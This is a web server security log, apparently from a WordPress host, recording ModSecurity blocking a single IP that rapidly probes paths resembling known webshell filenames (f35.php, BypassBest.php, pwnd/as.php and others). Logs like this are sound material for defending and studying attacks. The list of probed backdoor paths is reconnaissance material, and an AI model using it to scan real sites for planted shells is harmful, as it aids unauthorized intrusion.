[Wed May 13 10:46:10.615330 2026] [:error] [pid 23787:tid 23851] [client 20.48.166.247:22139] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agPl8h1cs5wE7VT6wirP0QAAAIM"]
[Wed May 13 10:46:11.220155 2026] [:error] [pid 23787:tid 23856] [client 20.48.166.247:22081] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "agPl8x1cs5wE7VT6wirP0wAAAIg"]
[Wed May 13 10:46:11.663482 2026] [:error] [pid 23782:tid 23830] [client 20.48.166.247:22388] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "agPl8yBrKFYHXUGnR-qfFgAAAEk"]
[Wed May 13 10:46:12.179652 2026] [:error] [pid 23787:tid 23870] [client 20.48.166.247:22053] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "agPl9B1cs5wE7VT6wirP1QAAAJY"]
[Wed May 13 10:46:12.656868 2026] [:error] [pid 3259:tid 3277] [client 20.48.166.247:22136] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "agPl9OWJB4YwcPVLeArFlgAAARA"]
[Wed May 13 10:46:13.178568 2026] [:error] [pid 3259:tid 3274] [client 20.48.166.247:22036] [client 20.48.166.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "agPl9eWJB4YwcPVLeArFlwAAAQ0"]
[Wed May 13 10:46:13.619579 2026] [:error] [pid 23782:tid 23832] [client 20.48.166.247:22040] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agPl9SBrKFYHXUGnR-qfFwAAAEs"]
[Wed May 13 10:46:14.060034 2026] [:error] [pid 3259:tid 3263] [client 20.48.166.247:22070] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agPl9uWJB4YwcPVLeArFmQAAAQI"]
[Wed May 13 10:46:14.583449 2026] [:error] [pid 23887:tid 23910] [client 20.48.166.247:22141] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agPl9tSKmvZJZkXBFDBG-wAAAM8"]
[Wed May 13 10:46:15.057986 2026] [:error] [pid 23887:tid 23918] [client 20.48.166.247:22127] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "agPl99SKmvZJZkXBFDBG_AAAANc"]
[Wed May 13 10:46:15.539095 2026] [:error] [pid 23887:tid 23916] [client 20.48.166.247:22138] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "agPl99SKmvZJZkXBFDBG_QAAANU"]
[Wed May 13 10:46:16.027928 2026] [:error] [pid 23887:tid 23896] [client 20.48.166.247:22322] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "agPl-NSKmvZJZkXBFDBG_wAAAME"]
[Wed May 13 10:46:16.668434 2026] [:error] [pid 23787:tid 23872] [client 20.48.166.247:22198] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "agPl-B1cs5wE7VT6wirP1wAAAJg"]
[Wed May 13 10:46:17.143504 2026] [:error] [pid 23887:tid 23917] [client 20.48.166.247:22052] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "agPl-dSKmvZJZkXBFDBHAAAAANY"]
[Wed May 13 10:46:17.671702 2026] [:error] [pid 23887:tid 23905] [client 20.48.166.247:21960] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "agPl-dSKmvZJZkXBFDBHAQAAAMo"]
[Wed May 13 10:46:18.174288 2026] [:error] [pid 23780:tid 23804] [client 20.48.166.247:22199] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "agPl-nXgOibPjrXgeTBeaAAAAAo"]
[Wed May 13 10:46:18.653766 2026] [:error] [pid 23782:tid 23833] [client 20.48.166.247:22140] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "agPl-iBrKFYHXUGnR-qfGgAAAEw"]
[Wed May 13 10:46:19.179646 2026] [:error] [pid 23887:tid 23897] [client 20.48.166.247:22203] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "agPl-9SKmvZJZkXBFDBHBAAAAMI"]
[Wed May 13 10:46:19.626456 2026] [:error] [pid 23887:tid 23911] [client 20.48.166.247:22085] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "agPl-9SKmvZJZkXBFDBHBQAAANA"]
[Wed May 13 10:46:20.100070 2026] [:error] [pid 3259:tid 3281] [client 20.48.166.247:22084] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "agPl_OWJB4YwcPVLeArFnwAAARQ"]
[Wed May 13 10:46:20.640281 2026] [:error] [pid 3259:tid 3273] [client 20.48.166.247:22116] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "agPl_OWJB4YwcPVLeArFoAAAAQw"]
[Wed May 13 10:46:21.115127 2026] [:error] [pid 23782:tid 23834] [client 20.48.166.247:22253] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "agPl_SBrKFYHXUGnR-qfGwAAAE0"]
[Wed May 13 10:46:21.703813 2026] [:error] [pid 23887:tid 23902] [client 20.48.166.247:22083] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "agPl_dSKmvZJZkXBFDBHBgAAAMc"]
[Wed May 13 10:46:22.219596 2026] [:error] [pid 3259:tid 3269] [client 20.48.166.247:22324] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "agPl_uWJB4YwcPVLeArFoQAAAQg"]
[Wed May 13 10:46:22.702140 2026] [:error] [pid 3259:tid 3266] [client 20.48.166.247:22021] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "agPl_uWJB4YwcPVLeArFogAAAQU"]
[Wed May 13 10:46:23.533976 2026] [:error] [pid 3259:tid 3282] [client 20.48.166.247:22114] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "agPl_-WJB4YwcPVLeArFowAAARU"]
[Wed May 13 10:46:24.060989 2026] [:error] [pid 23787:tid 23849] [client 20.48.166.247:22128] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "agPmAB1cs5wE7VT6wirP2gAAAIE"]
[Wed May 13 10:46:24.534159 2026] [:error] [pid 3259:tid 3264] [client 20.48.166.247:22100] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "agPmAOWJB4YwcPVLeArFpQAAAQM"]
[Wed May 13 10:46:24.988409 2026] [:error] [pid 23782:tid 23829] [client 20.48.166.247:22158] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "agPmACBrKFYHXUGnR-qfHgAAAEg"]
[Wed May 13 10:46:25.507313 2026] [:error] [pid 3259:tid 3265] [client 20.48.166.247:22096] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "agPmAeWJB4YwcPVLeArFpgAAAQQ"]
[Wed May 13 10:46:26.006814 2026] [:error] [pid 3259:tid 3263] [client 20.48.166.247:22027] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "agPmAuWJB4YwcPVLeArFpwAAAQI"]
[Wed May 13 10:46:26.444853 2026] [:error] [pid 23780:tid 23803] [client 20.48.166.247:22112] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "agPmAnXgOibPjrXgeTBeaQAAAAk"]
[Wed May 13 10:46:26.902191 2026] [:error] [pid 3259:tid 3271] [client 20.48.166.247:22129] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "agPmAuWJB4YwcPVLeArFqQAAAQo"]
[Wed May 13 10:46:27.370691 2026] [:error] [pid 3259:tid 3272] [client 20.48.166.247:22095] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "agPmA-WJB4YwcPVLeArFqgAAAQs"]
[Wed May 13 10:46:27.917307 2026] [:error] [pid 23787:tid 23851] [client 20.48.166.247:22189] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "agPmAx1cs5wE7VT6wirP3gAAAIM"]
[Wed May 13 10:46:28.370179 2026] [:error] [pid 23787:tid 23852] [client 20.48.166.247:22049] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "agPmBB1cs5wE7VT6wirP4AAAAIQ"]
[Wed May 13 10:46:28.853380 2026] [:error] [pid 23782:tid 23835] [client 20.48.166.247:21959] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "agPmBCBrKFYHXUGnR-qfIQAAAE4"]
[Wed May 13 10:46:29.321124 2026] [:error] [pid 23780:tid 23801] [client 20.48.166.247:22037] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "agPmBXXgOibPjrXgeTBebQAAAAc"]
[Wed May 13 10:46:29.848800 2026] [:error] [pid 23782:tid 23837] [client 20.48.166.247:22133] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "agPmBSBrKFYHXUGnR-qfIgAAAFA"]
[Wed May 13 10:46:30.379164 2026] [:error] [pid 23782:tid 23823] [client 20.48.166.247:22038] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "agPmBiBrKFYHXUGnR-qfIwAAAEI"]
[Wed May 13 10:46:31.045419 2026] [:error] [pid 23887:tid 23895] [client 20.48.166.247:22066] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "agPmB9SKmvZJZkXBFDBHBwAAAMA"]
[Wed May 13 10:46:31.598828 2026] [:error] [pid 23887:tid 23901] [client 20.48.166.247:22298] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "agPmB9SKmvZJZkXBFDBHCAAAAMY"]
[Wed May 13 10:46:32.324274 2026] [:error] [pid 23782:tid 23841] [client 20.48.166.247:22162] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "agPmCCBrKFYHXUGnR-qfJQAAAFQ"]
[Wed May 13 10:46:32.925835 2026] [:error] [pid 23782:tid 23821] [client 20.48.166.247:22118] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "agPmCCBrKFYHXUGnR-qfJgAAAEA"]
[Wed May 13 10:46:33.375827 2026] [:error] [pid 23782:tid 23844] [client 20.48.166.247:22102] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "agPmCSBrKFYHXUGnR-qfKAAAAFc"]
[Wed May 13 10:46:33.793297 2026] [:error] [pid 3259:tid 3262] [client 20.48.166.247:22060] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "agPmCeWJB4YwcPVLeArFxAAAAQE"]
[Wed May 13 10:46:34.265326 2026] [:error] [pid 23787:tid 23867] [client 20.48.166.247:22032] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "agPmCh1cs5wE7VT6wirP5QAAAJM"]
[Wed May 13 10:46:34.756404 2026] [:error] [pid 23782:tid 23833] [client 20.48.166.247:22020] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "agPmCiBrKFYHXUGnR-qfKgAAAEw"]
[Wed May 13 10:46:35.223760 2026] [:error] [pid 23887:tid 23899] [client 20.48.166.247:22026] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "agPmC9SKmvZJZkXBFDBHCgAAAMQ"]
[Wed May 13 10:46:35.696697 2026] [:error] [pid 3259:tid 3281] [client 20.48.166.247:22039] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "agPmC-WJB4YwcPVLeArFxgAAARQ"]
[Wed May 13 10:46:36.227569 2026] [:error] [pid 23887:tid 23914] [client 20.48.166.247:22025] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "agPmDNSKmvZJZkXBFDBHCwAAANM"]
[Wed May 13 10:46:36.691506 2026] [:error] [pid 23787:tid 23850] [client 20.48.166.247:21977] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "agPmDB1cs5wE7VT6wirP6AAAAII"]
[Wed May 13 10:46:37.350107 2026] [:error] [pid 23782:tid 23826] [client 20.48.166.247:22031] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "agPmDSBrKFYHXUGnR-qfLgAAAEU"]
[Wed May 13 10:46:37.957748 2026] [:error] [pid 3259:tid 3283] [client 20.48.166.247:22104] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "agPmDeWJB4YwcPVLeArFygAAARY"]
[Wed May 13 10:46:38.842125 2026] [:error] [pid 23887:tid 23918] [client 20.48.166.247:22068] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "agPmDtSKmvZJZkXBFDBHDgAAANc"]
[Wed May 13 10:46:39.759455 2026] [:error] [pid 3259:tid 3283] [client 20.48.166.247:22184] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "agPmD-WJB4YwcPVLeArF9wAAARY"]
